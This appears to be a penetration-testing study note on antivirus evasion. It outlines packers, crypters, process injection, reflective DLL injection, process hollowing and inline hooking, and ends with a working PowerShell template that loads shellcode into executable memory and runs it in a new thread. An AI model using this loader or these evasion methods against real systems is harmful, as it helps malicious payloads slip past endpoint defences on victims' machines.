AV Evasion

On-Disk Evasion

Common techniques:

  1. Packers

  2. Obfuscators > Insert irrelevant instructions

  3. Crypters > Encrypted payload, and decrypt in memory upon execution

  4. Software protectors > Anti-reversing + Anti-debugging + VM emulation detection ...

In-Memory Evasion

  1. Remote Process Memory Injection > Inject payload into another valid PE. Could leverage a set of Windows APIs (OpenProcess function to obtain a valid HANDLE, then allocate memory in the context of that process by calling a Win API such as VirtualAllocEx. Once allocated in the remote process, copy the payload to the newly allocated memory using WriteProcessMemory. Finally the payload is executed in memory in a separate thread using the CreateRemoteThread API.

  2. Reflective DLL Injection > Load a DLL stored by the attacker in the process memory. The traditional approach will use LoadLibrary API, but it doesn't support loading a DLL from memory, neither do any other Windows API. Therefore, the technique requires the attacker to develop he's own version of the API which does not rely on a disk based DLL.

  3. Process Hollowing > First launch a non-malicious process in a suspended state, and then remove the image of the process from memory and replace with a malicious executable image. Finally resume the process and malicious code is executed. This bypasses antivirus.

  4. Inline Hooking > Modify memory and introduce a hook (instructions that redirect the code execution) into a function to point the execution flow to our malicious code. Upon executing the code, the flow will return back to the modified function and resume execution, appearing as if only the original code had executed.

In-Memory Injection Example

$code = '
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocat ionType, uint flProtect);

[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);';

$winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru;

[Byte[]];
[Byte[]]$sc = <Shellcode Here>

$size = 0x1000;

if ($sc.Length -gt 0x1000) {$size = $sc.Length};

$x = $winFunc::VirtualAlloc(0, $size, 0x3000, 0x40);

for ($i=0; $i -le ($sc.Length-1); $i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};

$winFunc::CreateThread(0, 0, $x, 0, 0, 0); for (;;) { Start-sleep 60 };

Last updated